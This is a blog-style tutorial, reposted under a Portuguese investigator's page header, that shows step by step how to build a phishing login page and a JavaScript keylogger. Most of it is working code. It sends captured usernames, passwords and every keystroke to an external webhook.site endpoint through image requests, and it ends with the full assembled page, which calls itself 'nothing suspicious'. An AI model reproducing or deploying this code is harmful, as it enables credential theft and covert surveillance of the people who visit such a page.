Crie um site de phishing simples e um keylogger Javascript Somya Gupta aka MR.CYBER

agosto 18, 2026

A Investigação Digital

RDS | Investigação Defensiva & Perícia OSINT — Rogério Souza (@RDSWEB) RDS · @RDSWEB · Investigação Digital Defensiva Prova digital que resiste ao contraditório. "Quem não controla a informação, vira alvo dela." Investigação defensiva, OSINT, CTI e SOCMINT aplicados à defesa técnica — para advogados, departamentos jurídicos e compliance corporativo. Falar no WhatsApp Ver no LinkedIn Perfil Sobre Rogério Souza (RDS) Toda decisão estratégica nasce da mesma pergunta: quem sabe mais, decide primeiro. Rogério Souza atua na linha de frente da ciberinteligência, cibersegurança e contraespionagem , transformando dados dispersos em vantagem decisória para quem não pode se dar ao luxo de ser surpreendido. Com especialização em Segurança da Informação pela ULT Grupo América, construiu sua trajetória em parceria com a MPSafe CyberSecurity & CounterEspionage e com at...

Somya Gupta aka MR.CYBER

3 min read

by Somya Gupta AKA TWS/MR.CYBER

Hi guys!

Today I will show you a simple creation of a website with a form that will allow us to send username and password to our remote server, and we will also add a keylogger to the phishing site.

Let’s start.

To begin with, we will create the graphic appearance of the page using HTML.

<!DOCTYPE html>
 <html>
 <body>
 <h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
 <input type="text" id="username" >
 <br><br> <label for="domTextElement1">Password: </label>
 <input type="password" id="password" >
 <br><br> 
<button type="button" onclick="getValueInput()">click me!! </button>
 <p id="valueInput"></p>
 </body>
 </html>

I don’t think there is much to explain, the only important thing is to remember the names of the label IDs because we will need them later.

Now the interesting part begins.

We start by creating the Javascript code that will send the username and password to our server.

<script>
 const getValueInput = () =>{
let inputValue=document.getElementById("username").value; 
 
let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue; 
window.location.reload();
 } 
</script>

The code is quite simple, we create two variables to save the username and the password and then send them to our server.

window.location.reload() is used to refresh the page.

You can use this site to receive requests sent from our script.

https://webhook.site/#!/65960af7-32e9-4c4b-a2b3-ab6b397857b8

Note: Remember once you get your link to put it in the code ;)

We now expand the functionality of the site even more by implementing a keylogger as well 🔑.

var keys='';
var url = 'http://webhook.site/?c=';
 document.onkeypress = function(e)
 { 
get = window.event?event:e;
 key = get.keyCode?get.keyCode:get.charCode;
 key = String.fromCharCode(key); keys+=key;
}
window.setInterval(function(){ 
if(keys.length>0) { 
new Image().src = url+keys;
 keys = ''; }
}, 1);

Javascript-Keylogger/keylogger.js at master · JohnHoder/Javascript-Keylogger · GitHub

The code is called when as soon as a key is pressed and sends the corresponding character to the server.

Here is the full code of our site.

<!DOCTYPE html>
 <html>
 <body>
 <h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
 <input type="text" id="username" >
 <br><br> <label for="domTextElement1">Password: </label>
 <input type="password" id="password" >
 <br><br> 
<button type="button" onclick="getValueInput()">click me!! </button>
 <p id="valueInput"></p>
 <script>
 const getValueInput = () =>{
 
let inputValue=document.getElementById("username").value; 
 
let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue; 
window.location.reload();
 } 
 var keys='';
var url = 'https://webhook.site/?c=';
 document.onkeypress = function(e)
 { 
get = window.event?event:e;
 key = get.keyCode?get.keyCode:get.charCode;
 key = String.fromCharCode(key); keys+=key;
}
window.setInterval(function(){ 
if(keys.length>0) { 
new Image().src = url+keys;
 keys = ''; }
}, 1);
</script>
 </body>
 </html>